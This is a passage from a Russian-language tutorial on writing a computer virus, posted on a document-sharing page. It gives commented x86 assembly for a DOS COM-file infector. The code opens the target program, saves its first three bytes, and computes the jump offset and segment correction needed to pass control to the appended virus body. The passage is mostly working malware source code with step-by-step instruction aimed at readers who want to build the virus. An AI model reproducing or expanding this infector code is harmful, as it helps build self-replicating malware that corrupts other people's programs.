Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Как написать компьютерный ВИРУС.doc
Скачиваний:
4
Добавлен:
30.10.2018
Размер:
1.16 Mб
Скачать

1.10 Читаем исходные три байта

Итак,вирус нашел COM - программу, которую теперь

следует заразить .Но сначала необходимо сохранить

первые три байта этой программы ( см. 1.3, п.4 ).

Для этого файл нужно сначала открыть, а затем счи-

тать его первые три байта, что и реализуют приве-

денные ниже программные строки . Напомним,что имя

файла хранится в строке " fn " .

open: mov ax,3d02h ;Открыть файл

;для чтения и

;записи ...

lea dx,fn ;Имя файла ...

int 21h ;

jnc save_bytes

jmp restore_dta ;Файл не откры-

;вается !

save_bytes: ;Считаем три

;байта :

mov bx,ax ;Сохраним дес-

;криптор в BX

mov ah,3fh ;Номер функции

mov cx,3 ;Сколько байт ?

lea dx,old_bytes ;Буфер для счи-

;тываемых данных

int 21h

jnc found_size

jmp close ;Ошибка !

Приведенный фрагмент помещает прочитанную инфор-

мацию в область " old_bytes " . Остальное ясно из

комментариев .

1.11 Выполняем необходимые расчеты

В этом пункте мы покажем, как вирус проводит рас-

чет корректирующего числа для регистра DS ( см .

1.4 ), а также смещения на свой код .Напомним,что

это смещение записывается в начало заражаемого

файла и зависит от его длины . Исходной величиной

для расчета служит длина заражаемого файла,которую

DOS вместе с именем найденного файла и рядом дру-

гих его характеристик помещает в DTA .Размер запи-

сывается в DTA по смещению 01Ah ( младшее слово )

1Ch ( старшее ) . Так как длина COM - файла не мо-

жет быть больше 65535 байт, она помещается в

младшее слово целиком.А слово по смещению 01Ch об-

нуляется !

Вышеуказанные расчеты можно произвести следующим

образом :

found_size:

mov ax,cs:[09ah] ;Найдем размер

;файла

count_size:mov si,ax

cmp ax,64000 ;Файл длиннее

;64000 байт ?

jna toto ;Нет ...

jmp find_next ;Да - тогда он

;нам не подходит

toto: test ax,000fh ;Округлим размер

jz krat_16 ;до целого числа

or ax,000fh ;параграфов в

inc ax ;большую сторону

krat_16: mov di,ax ;И запишем ок-

;ругленное зна-

;чение в DI ...

;Расчитаем сме-

;щение для пере-

;хода на код ви-

;руса ...

sub ax,3 ;Сама команда

;перехода зани-

;мает три байта!

mov byte ptr new_bytes[1],al

;Смещение найде-

mov byte ptr new_bytes[2],ah

;но !

mov ax,di ;Сколько пара-

mov cl,4 ;графов содержит

shr ax,cl ;заражаемая про-

;грамма ?

dec ax ;Учитываем дейс-

;твие директивы

;ORG 110h ...

mov byte ptr add_to_ds,al

;Корректирующее

mov byte ptr add_to_ds+1,ah

;число найдено !

Вы уже, конечно, поняли,что вирус будет округлять

размер заражаемой программы до целого числа параг-

рафов в большую сторону .Например,пусть файл имеет

длину 401 байт .Тогда вирус запишет в DI значение

416 ( 25 целых параграфов, и еще один байт даст

округленное значение 416 ).В " new_bytes " запише-

тся число : 416 - 3 = 413, а в " add_to_ds " будет

помещено значение : 26 - 1 = 25 .

Чтобы лучше понять работу фрагмента,рекомендую вам

посмотреть пункт 1.6 . И еще - подумайте, за-

чем нужна команда " dec ax " .Надеюсь,вы без труда

в этом разберетесь !